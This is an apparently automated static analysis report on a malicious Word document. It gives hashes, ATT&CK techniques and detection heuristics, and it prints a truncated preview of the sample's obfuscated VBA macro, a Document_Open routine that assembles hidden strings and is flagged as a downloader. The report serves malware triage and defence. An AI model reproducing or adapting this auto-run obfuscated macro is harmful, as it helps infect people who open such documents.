Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18479a93fc2d5acd…

MALICIOUS

Office (OLE)

706.5 KB Created: 2018-03-04 12:52:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f84914c30ae4e6b9b1f23d5c01e001ed SHA-1: 78ba7c54d0ee1009ea8fdf7a198ff3a2b0a7a4f7 SHA-256: 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing a VBA macro that is automatically executed upon opening via the Document_Open subroutine. The macro utilizes CreateObject and GetObject calls, indicative of malicious intent, and attempts to deobfuscate and execute a payload. The presence of the 'macros.bas' file and the 'OLE_VBA_MACROS' heuristic strongly suggest this is a macro-based downloader.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 376474 bytes
SHA-256: 86fbd723a2a949767fc334f049464349bd1d9e8686f00334f4919b39902e7731
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 497 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim cIQm, sQDW, sVbY As String
cIQm = JVji(RXwC)
sQDW = JVji(zevp)
sVbY = JVji(iiqm)


Dim MfIV As String
MfIV = Ezfz(ZNRr(65, 18))
MfIV = UUxp(MfIV, Ezfz(ZNRr(199, 164)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(248, 138)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(13, 100)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(233, 153)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(40, 92)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(13, 100)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(60, 82)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(62, 89)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(115, 93)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(80, 22)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(13, 100)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(91, 55)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(122, 31)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(65, 18)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(54, 79)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(78, 61)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(40, 92)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(122, 31)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(168, 197)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(140, 195)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(105, 11)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(248, 146)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(122, 31)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(199, 164)))
MfIV = UUxp(MfIV, Ezfz(ZNRr(40, 92)))

Dim uwVM As String
uwVM = cIQm
Dim czFu As String
czFu = ""
czFu = UUxp(czFu, Ezfz(ZNRr(49, 114)))
czFu = UUxp(czFu, Ezfz(ZNRr(22, 44)))
czFu = UUxp(czFu, "\")
czFu = UUxp(czFu, Ezfz(ZNRr(42, 122)))
czFu = UUxp(czFu, Ezfz(ZNRr(248, 138)))
czFu = UUxp(czFu, Ezfz(ZNRr(198, 169)))
czFu = UUxp(czFu, Ezfz(ZNRr(62, 89)))
czFu = UUxp(czFu, Ezfz(ZNRr(248, 138)))
czFu = UUxp(czFu, Ezfz(ZNRr(28, 125)))
czFu = UUxp(czFu, Ezfz(ZNRr(168, 197)))
czFu = UUxp(czFu, Ezfz(ZNRr(61, 121)))
czFu = UUxp(czFu, Ezfz(ZNRr(28, 125)))
czFu = UUxp(czFu, Ezfz(ZNRr(40, 92)))
czFu = UUxp(czFu, Ezfz(ZNRr(28, 125)))
czFu = UUxp(czFu, "\")
czFu = UUxp(czFu, Ezfz(ZNRr(232, 191)))
czFu = UUxp(czFu, Ezfz(ZNRr(13, 100)))
czFu = UUxp(czFu, Ezfz(ZNRr(60, 82)))
czFu = UUxp(czFu, Ezfz(ZNRr(34, 70)))
czFu = UUxp(czFu, Ezfz(ZNRr(198, 169)))
czFu = UUxp(czFu, Ezfz(ZNRr(91, 44)))
czFu = UUxp(czFu, Ezfz(ZNRr(78, 61)))
czFu = UUxp(czFu, Ezfz(ZNRr(61, 121)))
czFu = UUxp(czFu, Ezfz(ZNRr(122, 31)))
czFu = UUxp(czFu, Ezfz(ZNRr(197, 163)))
czFu = UUxp(czFu, Ezfz(ZNRr(122, 31)))
czFu = UUxp(czFu, Ezfz(ZNRr(60, 82)))
czFu = UUxp(czFu, Ezfz(ZNRr(34, 70)))
czFu = UUxp(czFu, Ezfz(ZNRr(122, 31)))
czFu = UUxp(czFu, Ezfz(ZNRr(248, 138)))
czFu = UUxp(czFu, Ezfz(ZNRr(115, 93)))
czFu = UUxp(czFu, Ezfz(ZNRr(13, 100)))
czFu = UUxp(czFu, Ezfz(ZNRr(60, 82)))
czFu = UUxp(czFu, Ezfz(ZNRr(13, 100)))

mRor czFu, uwVM, MfIV

Dim Ggzi As String
Ggzi = ""
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(49, 114)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(22, 44)))
Ggzi = UUxp(Ggzi, "\")
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(42, 122)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(248, 138)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(198, 169)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(62, 89)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(248, 138)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(28, 125)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(168, 197)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(61, 121)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(28, 125)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(40, 92)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(28, 125)))
Ggzi = UUxp(Ggzi, "\")
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(61, 121)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(122, 31)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(197, 163)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(122, 31)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(60, 82)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(34, 70)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(122, 31)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(248, 138)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(115, 93)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(78, 61)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(199, 164)))
Ggzi = UUxp(Ggzi, Ezfz(ZNRr(40, 92)))


Dim zGWQ As String
zGWQ = sQDW
mRor Ggzi, zGW
... (truncated)

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